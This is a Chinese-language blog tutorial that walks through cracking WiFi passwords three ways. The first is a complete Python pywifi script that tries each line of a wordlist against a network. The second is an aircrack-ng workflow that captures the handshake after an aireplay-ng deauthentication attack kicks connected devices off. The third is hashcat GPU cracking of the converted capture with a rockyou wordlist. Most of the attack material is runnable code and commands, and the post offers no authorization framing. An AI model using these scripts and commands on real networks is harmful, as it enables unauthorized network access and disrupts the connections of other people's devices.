马春杰杰 Exit Reader Mode

如何利用hashcat破解wifi密码

1、python、pywifi破解无线WiFi密码

1.1 pywifi模块下载

1.1.1运行python是在PyCharm 2020.3,

其他环境也可以 。PyCharm下载地址

1.1.2   pywifi模块介绍并安装:

pywifi提供了一个跨平台的Python模块,用于操作无线接口(支持Windows和Linux)之前已经安装过了,所以显示already satisfied,也可以根据该命令判断是否已安装成功

 win +R 输入cmd 打开命令终端

        在cmd中输入命令 pip install pywifi  和 pip install comtypes

1.1.3 用python破解wifi的代码

 具体代码如下:

import pywifi               #引用pywifi库
from pywifi import const    #获取连接状态的常量库
import time
 
# 尝试链接,返回连接状态
def wifiConnect(ifaces,pwd):
 
    # 首先要断开无线网卡连接
    ifaces.disconnect()                     #断开链接
    time.sleep(1)                           #断开给1s的等待时间
 
    # 获取wifi的连接状态
    wifistatus = ifaces.status()
 
    # 判断是否网卡断开,断开后开始连接测试
    if wifistatus == const.IFACE_DISCONNECTED:      #判断wifi的链接的是否断开
 
        # 创建新的wifi连接文件
        profile =  pywifi.Profile()
 
        # 要连接的wifi的名称
        profile.ssid = 'mytest'                        #根据需要自己修改名称
 
        # 网卡的开放状态 | auth - AP的认证算法
        profile.auth = const.AUTH_ALG_OPEN
        # wifi的加密算法,一般wifi 加密算法时wps  #选择wifi加密方式  akm - AP的密钥管理类型
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元 /cipher - AP的密码类型
        profile.cipher = const.CIPHER_TYPE_CCMP
 
        # 调用密码 (要匹配的密码)
        profile.key = pwd
 
        # 删除所有连接过的无线WiFi文件
        ifaces.remove_all_network_profiles()
        # 加载新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)         #尝试新的链接
        time.sleep(3)                       #连接给3s的等待时间
 
        #WiFi连接成功返回 True
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("wifi连接,需要断开连接")
 
# 读取密码本
def readPassword():
    print("开始破解:")
    # 密码本路径(放在py文件的同一目录下)
    path ="wifi_password_test.txt"
    # 打开文件
    f = open(path,"r")
 
    while True:
        try:
            # 一行一行读取
            password = f.readline()
            password = password[:-1]
            bool = wifiConnect(ifaces,password)
 
            if bool:
                print("密码已成功破解:",password)
                print("wifi已连接!")
                break
            else:
                print("密码破解中,密码校对:",password," 失败")
                if not password:
                    print('文件已读取完.')
                    f.close()
                    break
        except:
            # continue
            print("error")
 
if __name__ == '__main__':
 
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    readPassword()

 

1.1.3.1首先找到要破解无线WiFi

这里就用mytest的无线WiFi作为测试

​​​​

 1.1.3.2  运行python代码

注意:在代码中输入要破解的无线WiFi名称(自行更改),同时需要有密码本进行配对

1.1.3.3 成功找到密码并成功连接

这里就成功的获得到mytest 的无线WiFi密码 1234567890

1.2 python pywifi破解无线WiFi 小结

使用pywifi 破解简单理解就是密码配对,利用python 代码运行代替人工一个个尝试,同时在断开连接和尝试连接都需要一定等待时间,假设进行一次的配对代码运行需要3s,那么1min 也就配对20次。一小时就1200次,一天就28800次。虽然相比人手动连接密码尝试的效率要搞,但是如果对于密码本字典比较大,匹配的速度还是太慢了。接下我将尝试在kali的破解方法….

2. kali linux aircrack-ng 破解无线WiFi密码

2.1 kali安装

详细见kali2020.1安装过程详解(真的超详细) – 知乎

2.2 kali配置一些问题

2.2.1网络可以改成nat模式,同时尝试下在kali中是否可以上网

2.2.2 根据需要调整内存、处理器、硬盘的大小

2.2.3 USB的虚拟共享蓝牙设备勾选上

2.3 aircrack-ng安装使用

kali下面自带aircrack-ng的包

如果没有的话,在终端输入命令:apt-get install aircrack-ng

apt-get install aircrack-ng

 可能遇到的问题:

1、没有网络下载不了,这就需要看下kali是否按照上边的网络适配器,配置为nat模式

2、没有进入root模式,这个可以输入命令 sudo su 进行操作

aircrack-ng的安装和kali的基本配置也基本完成,接下来准备硬件无线网卡

2.4 准备好一个可以监听的无线网卡

(芯片为3070或者1887L都支持Linux)

本人在某宝上随便找了型号RT5572的无线网卡,大概也就二十多块。

2.5 插上无线网卡并连接到kali

2.5.1 在虚拟机选择中选择虚拟机的菜单

2.5.2 点击里边的 可移动设备

查看对应的无线网卡,如果是有个钩就是成功与虚拟机连接了,没有则进行如下操作:

选中对应的无线网卡,选择 连接(断开与主机的连接)并弹出如下框框(也可能不弹出),只要在确认勾勾有没打上就行了

2.6 准备用aircrack-ng破解无线WiFi

2.6.1 确认无线网卡连接成功

输入命令:ifconfig 查看网卡信息

ifconfig

成功会有多一个wlan0的信息,wlan0即无线网卡,注意,如果没有发现网卡可能是芯片不能被识别,建议选择网卡芯片为3037或rtl8187l的。

 2.6.2 看到这个界面后输入airmon-ng start wlan0(启动网卡监听模式)

 2.6.3 启动后ifconfig查看一下,如果网卡名变成了wlan0mon了,则表示操作成功。

2.6.4  扫描附近wifi 命令 airodump-ng wlan0mon

解析:

BSSID: MAC地址

PWR:信号强度,越小信号越强。

#Data:传输的数据, 数据越大对我们越有利, 大的夸张的可能在看电影

CH:信号频道

ESSID:wifi名称

2.6.5 监听获取握手包

命令:airodump-ng –bssid CC:34:29:4C:67:68 -c 11 -w /home/cheng/wifi/ wlan0mon

解析:

-c代表频道, 后面带的是频道

bssid: mac地址(物理地址)

-w代表目录(抓到的握手包放在这个目录下面)

wlan0mon: 网卡名称

如果一直跑着, 它的数据是不停刷新变化的…下边的就是当前连接着WiFi的设备,如果这是刚好有人进行重新链接WIFI操作,并监听到握手包就会出现红色框框内容

但是,如果一直没有人重新连接链接…那就一直等着??这时候应该做点什么了,利用deauth洪水攻击,取消目标路由和设备的无线连接,这时候设备重新连接时,会抓取他的握手包,然后用字典进行爆破。新开一个窗口观察

ps:如果无法获取包,攻击路由器进行断网重新连接

2.6.6 攻击路由器进行断网重新连接

输入命令aireplay-ng -0 10 -a CC:34:29:4C:67:68  -c 06:3C:A6:AB:45:1F wlan0mon

-0 后边接的是攻击的次数

-a 后边接的是攻击路由器MAC地址

-c 后边接的是已经连接上的设备MAC地址

这时候目标路由已经断网,如果抓到包记得ctrl+c关掉这里,然后设备重连,从而获得握手包。

ps:一定不要把次数设置太高,不然一直断网就成恶搞了。

 2.6.7 查看wifi目录下的-01.cap文件

 2.7 正式破解WiFI密码

输入:aircrack-ng ./-01.cap -w /home/cheng/mima1_ok.txt   

解析:

-w后面接的是字典

-01.cap是握手包

这个速度还是非常快,580w 个密码大概也就7min。

如果成功就会出现KEY FOUND 的字样

 2.8 kali aircrack-ng破解wifi小结

相比python的配对,kail的 aircrack-ng破解 速度更加的快1000w的密码,用时间大概15min,这比python 1min 20次配对的速度要快上XX倍(自己算哈…) 但是问题又来了…电脑的CPU烧起来了…风扇响起来了…(前边通过设置了虚拟机的处理器的核数,来增加虚拟机的运算速度,如果不希望有如下场景,可以将虚拟机的处理器的参数设置低点)

问题又来了:

我们可以在提高运算速度?1000w 15min我还是等不了!

我们可以不用CPU用GPU运算么,接下我尝试了hashcat?

 

3. Hashcat 破解无线WiFi密码

3.1 hashcat 安装:

        hashcat是一款自称为世界上最快的密码破解工具。下载地址

3.1.1 打开hashcat的官网

打开网页可能会比较慢,耐心等待…

 3.1.2 解压hashcat的压缩包

                随意一个目录下

 3.1.3 hashcat网站 -01.cap文件 转化为 .hc22000 文件

        hashcat的转化为 .hc22000 网站地址

生成对应的文件:

3.1.4 准备 hashcat攻击

3.1.4.1常见的hashcat命令

 
hashcat常用命令
 
-m                             指定哈希类型
 
-a                             指定破解模式
 
-V                             查看版本信息
 
-o                             将输出结果储存到指定文件
 
--force                        忽略警告
 
--show                         仅显示破解的hash密码和对应的明文
 
--remove                       从源文件中删除破解成功的hash
 
--username                     忽略hash表中的用户名
 
-b                             测试计算机破解速度和相关硬件信息
 
-O                             限制密码长度
 
-T                             设置线程数
 
-r                             使用规则文件
 
-1                             自定义字符集  -1 0123asd     ?1={0123asd}
 
-2                             自定义字符集  -2 0123asd    ?2={0123asd}
 
-3                             自定义字符集  -3 0123asd    ?3={0123asd}
 
-i                             启用增量破解模式
 
--increment-min                设置密码最小长度
 
--increment-max                设置密码最大长度
 
hashcat破解模式介绍
 
0    straight                               字典破解
 
1    combination                            将字典中密码进行组合
 
3    brute-force                            使用指定掩码破解
 
6    Hybrid Wordlist + Mask                 字典+掩码破解
 
7    Hybrid Mask  + Wordlist                掩码+字典破解
 
hashcat集成的字符集
 
?l              代表小写字母
 
?u              代表大写字母
 
?d              代表数字
 
?s              代表特殊字符
 
?a              代表大小写字母、数字以及特殊字符  
 
?b              0x00-0xff

 

3.1.4.2 准备密码本攻击

跳到hashcat的解压后的文件目录下

输入以下命令:hashcat.exe -m 22000 “D:\PycharmProjects\pywifi\mycap\wifi1.hc22000”  “D:\PycharmProjects\pywifi\rockyou.txt”

解析:

hashcat.exe 是hashcat是解压后的文件

-m 是指定哈希类型

“D:\PycharmProjects\pywifi\mycap\wifi1.hc22000”  是转化后.hc22000的路径

“D:\PycharmProjects\pywifi\rockyou.txt” 是密码本的路径

注意点:

可能出现的错误:

自版本 6.0.0 以来,hashcat 一直提供新的哈希模式 -m 22000 。在之前大家可能看到的-m 2500

要根据自己安装的hashcat 的版本进行确认对应的数值。 网站。或者hashcat.exe -h 自行查阅

3.2  正式hashcat攻击

来了开始烧GPU了…

3.3  hashcat 破解无线WIFi小结

这里我是换了一个wifi密码(不再是12341234),进行测试可惜在1400w的字典中并没有找到…但是也可以看到用hashcap 的速度更加的快.1400w用了只用了 2min30s。相比kali aircrack-ng 破解的速度快上X倍

3.4 速度对比

kali aircrack-ng 的破解方式 大概25min

hashcat 破解方式 大概2min30s

 

本文最后更新于2023年12月21日,已超过 1 年没有更新,如果文章内容或图片资源失效,请留言反馈,我们会及时处理,谢谢!